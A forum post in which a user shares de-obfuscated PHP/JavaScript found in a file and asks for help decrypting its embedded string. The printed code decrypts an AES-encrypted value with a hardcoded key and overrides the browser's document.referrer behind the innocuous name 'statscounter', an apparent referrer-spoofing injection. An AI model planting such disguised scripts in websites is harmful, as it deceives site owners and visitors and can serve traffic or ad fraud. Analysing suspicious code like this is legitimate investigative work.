I managed to decode the file into readable code using a couple of online tools and a lot of trial and error on my part and also stripped parts of the code that i dont need.
Code:
<?php
//$code = 'b08b4ef4d042d4d7dd3746831514d1e00aedc630cf6855a9eFcjMIbcAxxtGmK0OYWCoAOyiOxfak2a0v2GUyVPibM=';
echo '<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js"></script><script>'use strict';
var _0x4800 = ["enc", "ciphertext", "iv", "salt", "s", "stringify", "parse", "ct", "Base64", "create", "CipherParams", "lib", "Hex", '{"ct":"', "substr", '","iv":"', '","s":"', '"}', "2e35f242a46d67eeb74aabc37d5e5d05", "decrypt", "AES", "referrer", "document", "defineProperty"];
var CryptoJSAesJson = {
stringify : function(cipherParams) {
var data = {
ct : cipherParams.ciphertext.toString(CryptoJS.enc.Base64)
};
if (cipherParams.iv) {
data.iv = cipherParams.iv.toString();
}
if (cipherParams.salt) {
data.s = cipherParams.salt.toString();
}
return JSON.stringify(data);
},
parse : function(file) {
var options = JSON.parse(file);
var p = CryptoJS.lib.CipherParams.create({
ciphertext : CryptoJS.enc.Base64.parse(options.ct)
});
if (options.iv) {
p.iv = CryptoJS.enc.Hex.parse(options.iv);
}
if (options.s) {
p.salt = CryptoJS.enc.Hex.parse(options.s);
}
return p;
}
};
var country = function(options) {
delete options;
};
var resolve = function(dep) {
var signature = '{"ct":"' + dep.substr(48) + '","iv":"' + dep.substr(0, 32) + '","s":"' + dep.substr(32, 16) + '"}';
return JSON.parse(CryptoJS.AES.decrypt(signature, "2e35f242a46d67eeb74aabc37d5e5d05", {
format : CryptoJSAesJson
}).toString(CryptoJS.enc.Utf8));
};
var statscounter = function(deps) {
deps = resolve(deps);
region(deps, window);
};
var unique = function(options) {
country(options.document.referrer);
};
var region = function(name, node) {
unique(node);
node.document.__defineGetter__("referrer", function() {
return name;
});
Object.defineProperty(document, "referrer", {
get : function() {
return name;
}
});
};
</script>';
echo "<script>statscounter('b08b4ef4d042d4d7dd3746831514d1e00aedc630cf6855a9eFcjMIbcAxxtGmK0OYWCoAOyiOxfak2a0v2GUyVPibM=');</script>";
?>
My JS is poor so i have limited understanding of how this code is working but im pretty sure its decoding the string "b08b4ef4d042d4d7dd3746831514d1e00aedc630cf6855a9eFcjMIbcAxxtGmK0OYWCoAOyiOxfak2a0v2GUyVPibM=" using CryptoJS.
If anyone is able to help me decode this string that would be awesome, not even sure its possible but hopefully one of you clever lot can help.